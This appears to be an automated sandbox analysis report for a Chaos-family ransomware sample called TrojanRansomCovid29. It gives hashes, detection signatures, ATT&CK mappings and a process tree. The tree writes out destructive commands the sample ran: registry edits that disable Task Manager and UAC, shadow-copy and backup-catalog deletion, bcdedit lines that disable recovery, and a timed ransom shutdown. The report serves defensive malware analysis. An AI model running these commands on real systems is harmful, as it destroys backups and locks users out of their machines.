Overview

overview

10

Static

static

10

TrojanRans...29.exe

windows11-21h2-x64

source/Bat...er.exe

windows11-21h2-x64

7

source/Bat...lp.chm

windows11-21h2-x64

1

source/Cov29Cry.exe

windows11-21h2-x64

10

source/Cov...v4.exe

windows11-21h2-x64

10

source/Cov...ry.exe

windows11-21h2-x64

10

source/Cov...en.exe

windows11-21h2-x64

3

source/Cov...en.exe

windows11-21h2-x64

3

source/Tro...29.bat

windows11-21h2-x64

source/mbr.exe

windows11-21h2-x64

6

Analysis

  • max time kernel
    302s
  • max time network
    305s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    09-08-2024 10:03

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    TrojanRansomCovid29.exe

  • Size

    542KB

  • MD5

    9f0563f2faaf6b9a0f7b3cf058ac80b6

  • SHA1

    244e0ff0a5366c1607f104e7e7af4949510226ec

  • SHA256

    a8054338891db7231f9885ca0d3bc90a651c63878ff603ede5c3efafa7e25254

  • SHA512

    40cdf4c754977e60c233417e42a62be02f9b5bfe239c0378664c28757ce6ce1fc3b91b83d6ef6bb184c4d831761f57a07255526d12a3a955c3b473bddb97f4c9

  • SSDEEP

    12288:xBv407Pg09KyclZbmoYsp8L/0C7Cvb3p62STTzfGGz9oSzrfI:xh5rgjycXbm0K/EzQl/xDrfI

Score
10/10
chaosbootkitdefense_evasiondiscoveryevasionexecutionimpactpersistenceransomwarespywarestealertrojanupx

Malware Config

Signatures

  • Chaos

    Ransomware family first seen in June 2021.

    ransomwarechaos
  • Chaos Ransomware 3 IoCs
  • UAC bypass 3 TTPs 2 IoCs
    evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables Task Manager via registry modification
    evasion
  • Drops startup file 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops desktop.ini file(s) 34 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 39 IoCs
  • Modifies registry key 1 TTPs 7 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 41 IoCs
  • Suspicious use of AdjustPrivilegeToken 53 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\TrojanRansomCovid29.exe
    "C:\Users\Admin\AppData\Local\Temp\TrojanRansomCovid29.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2496
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B5B3.tmp\TrojanRansomCovid29.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:2068
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\B5B3.tmp\fakeerror.vbs"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3156
      • C:\Windows\SysWOW64\PING.EXE
        ping localhost -n 2
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3408
      • C:\Windows\SysWOW64\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:1620
      • C:\Windows\SysWOW64\reg.exe
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:4836
      • C:\Windows\SysWOW64\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:1716
      • C:\Windows\SysWOW64\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:4756
      • C:\Windows\SysWOW64\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:4624
      • C:\Windows\SysWOW64\reg.exe
        reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
        3⤵
        • UAC bypass
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:4664
      • C:\Windows\SysWOW64\reg.exe
        reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        3⤵
        • UAC bypass
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:1640
      • C:\Users\Admin\AppData\Local\Temp\B5B3.tmp\mbr.exe
        mbr.exe
        3⤵
        • Executes dropped EXE
        • Writes to the Master Boot Record (MBR)
        • System Location Discovery: System Language Discovery
        PID:4808
      • C:\Users\Admin\AppData\Local\Temp\B5B3.tmp\Cov29Cry.exe
        Cov29Cry.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3092
        • C:\Users\Admin\AppData\Roaming\svchost.exe
          "C:\Users\Admin\AppData\Roaming\svchost.exe"
          4⤵
          • Drops startup file
          • Executes dropped EXE
          • Drops desktop.ini file(s)
          • Sets desktop wallpaper using registry
          • Modifies registry class
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5056
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3124
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              6⤵
              • Interacts with shadow copies
              PID:3604
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:988
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3308
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} bootstatuspolicy ignoreallfailures
              6⤵
              • Modifies boot configuration data using bcdedit
              PID:3472
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} recoveryenabled no
              6⤵
              • Modifies boot configuration data using bcdedit
              PID:4720
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1880
            • C:\Windows\system32\wbadmin.exe
              wbadmin delete catalog -quiet
              6⤵
              • Deletes backup catalog
              PID:1144
          • C:\Windows\system32\NOTEPAD.EXE
            "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
            5⤵
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:3436
      • C:\Windows\SysWOW64\shutdown.exe
        shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2644
      • C:\Windows\SysWOW64\PING.EXE
        ping localhost -n 9
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3300
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im explorer.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1776
      • C:\Users\Admin\AppData\Local\Temp\B5B3.tmp\Cov29LockScreen.exe
        Cov29LockScreen.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2804
  • C:\Windows\System32\PickerHost.exe
    C:\Windows\System32\PickerHost.exe -Embedding
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:2988
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2880
  • C:\Windows\system32\wbengine.exe
    "C:\Windows\system32\wbengine.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2472
  • C:\Windows\System32\vdsldr.exe
    C:\Windows\System32\vdsldr.exe -Embedding
    1⤵
      PID:2796
    • C:\Windows\System32\vds.exe
      C:\Windows\System32\vds.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1256
    • C:\Windows\System32\PickerHost.exe
      C:\Windows\System32\PickerHost.exe -Embedding
      1⤵
      • Suspicious use of SetWindowsHookEx
      PID:4548
    • C:\Windows\system32\LogonUI.exe
      "LogonUI.exe" /flags:0x4 /state0:0xa3a3b055 /state1:0x41c64e6d
      1⤵
      • Modifies data under HKEY_USERS
      • Suspicious use of SetWindowsHookEx
      PID:980

    Network

    MITRE ATT&CK Enterprise v15

    Reconnaissance

    Resource Development

    Initial Access

    Execution

    Command and Scripting Interpreter

    1
    T1059

    Windows Management Instrumentation

    1
    T1047

    Persistence

    Pre-OS Boot

    1
    T1542

    Bootkit

    1
    T1542.003

    Privilege Escalation

    Abuse Elevation Control Mechanism

    1
    T1548

    Bypass User Account Control

    1
    T1548.002

    Defense Evasion

    Abuse Elevation Control Mechanism

    1
    T1548

    Bypass User Account Control

    1
    T1548.002

    Direct Volume Access

    1
    T1006

    Impair Defenses

    1
    T1562

    Disable or Modify Tools

    1
    T1562.001

    Indicator Removal

    3
    T1070

    File Deletion

    3
    T1070.004

    Modify Registry

    3
    T1112

    Pre-OS Boot

    1
    T1542

    Bootkit

    1
    T1542.003

    Credential Access

    Unsecured Credentials

    1
    T1552

    Credentials In Files

    1
    T1552.001

    Discovery

    Peripheral Device Discovery

    1
    T1120

    Query Registry

    2
    T1012

    Remote System Discovery

    1
    T1018

    System Information Discovery

    2
    T1082

    System Location Discovery

    1
    T1614

    System Language Discovery

    1
    T1614.001

    System Network Configuration Discovery

    1
    T1016

    Internet Connection Discovery

    1
    T1016.001

    Lateral Movement

    Collection

    Data from Local System

    1
    T1005

    Command and Control

    Exfiltration

    Impact

    Defacement

    1
    T1491

    Inhibit System Recovery

    4
    T1490

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\B5B3.tmp\Cov29Cry.exe
      Filesize

      103KB

      MD5

      8bcd083e16af6c15e14520d5a0bd7e6a

      SHA1

      c4d2f35d1fdb295db887f31bbc9237ac9263d782

      SHA256

      b4f78ff66dc3f5f8ddd694166e6b596d533830792f9b5f1634d3f5f17d6a884a

      SHA512

      35999577be0626b50eeab65b493d48af2ab42b699f7241d2780647bf7d72069216d99f5f708337a109e79b9c9229613b8341f44c6d96245fd1f3ac9f05814d6a

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\B5B3.tmp\Cov29LockScreen.exe
      Filesize

      48KB

      MD5

      f724c6da46dc54e6737db821f9b62d77

      SHA1

      e35d5587326c61f4d7abd75f2f0fc1251b961977

      SHA256

      6cde4a9f109ae5473703c4f5962f43024d71d2138cbd889223283e7b71e5911c

      SHA512

      6f83dd7821828771a9cae34881c611522f6b5a567f5832f9e4b9b4b59bf495f40ad78678bd86cba59d32ea8644b4aa5f052552774fea142b9d6da625b55b6afc

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\B5B3.tmp\TrojanRansomCovid29.bat
      Filesize

      1KB

      MD5

      57f0432c8e31d4ff4da7962db27ef4e8

      SHA1

      d5023b3123c0b7fae683588ac0480cd2731a0c5e

      SHA256

      b82e64e533789c639d8e193b78e06fc028ea227f55d7568865120be080179afc

      SHA512

      bc082486503a95f8e2ce7689d31423386a03054c5e8e20e61250ca7b7a701e98489f5932eba4837e05ec935057f18633798a10f6f84573a95fcf086ee7cabcbf

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\B5B3.tmp\fakeerror.vbs
      Filesize

      144B

      MD5

      c0437fe3a53e181c5e904f2d13431718

      SHA1

      44f9547e7259a7fb4fe718e42e499371aa188ab6

      SHA256

      f2571f03eb9d5ee4dca29a8fec1317ded02973c5dd233d582f56cebe98544f22

      SHA512

      a6b488fc74dc69fc4227f92a06deb297d19cd54b0e07659f9c9a76ce15d1ef1d8fa4d607acdd03d30d3e2be2a0f59503e27fc95f03f3006e137fa2f92825e7e3

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\B5B3.tmp\mbr.exe.danger
      Filesize

      1.3MB

      MD5

      35af6068d91ba1cc6ce21b461f242f94

      SHA1

      cb054789ff03aa1617a6f5741ad53e4598184ffa

      SHA256

      9ac99df89c676a55b48de00384506f4c232c75956b1e465f7fe437266002655e

      SHA512

      136e3066c6e44af30691bcd76d9af304af0edf69f350211cf74d6713c4c952817a551757194b71c3b49ac3f87a6f0aa88fb80eb1e770d0f0dd82b29bfce80169

      Download Submit

    • C:\Users\Admin\Desktop\covid29-is-here.txt
      Filesize

      861B

      MD5

      c53dee51c26d1d759667c25918d3ed10

      SHA1

      da194c2de15b232811ba9d43a46194d9729507f0

      SHA256

      dd5b3d185ae1809407e7822de4fced945115b48cc33b2950a8da9ebd77a68c52

      SHA512

      da41cef03f1b5f21a1fca2cfbf1b2b180c261a75d391be3a1ba36e8d4d4aefab8db024391bbee06b99de0cb0b8eb8c89f2a304c27e20c0af171b77db33b2d12c

      Download Submit

    • memory/2496-0-0x0000000000400000-0x00000000005D5000-memory.dmp

      Filesize

      1.8MB

      Download

    • memory/2496-111-0x0000000000400000-0x00000000005D5000-memory.dmp

      Filesize

      1.8MB

      Download

    • memory/3092-33-0x00000000000F0000-0x0000000000110000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4808-29-0x0000000000400000-0x00000000004D8000-memory.dmp

      Filesize

      864KB

      Download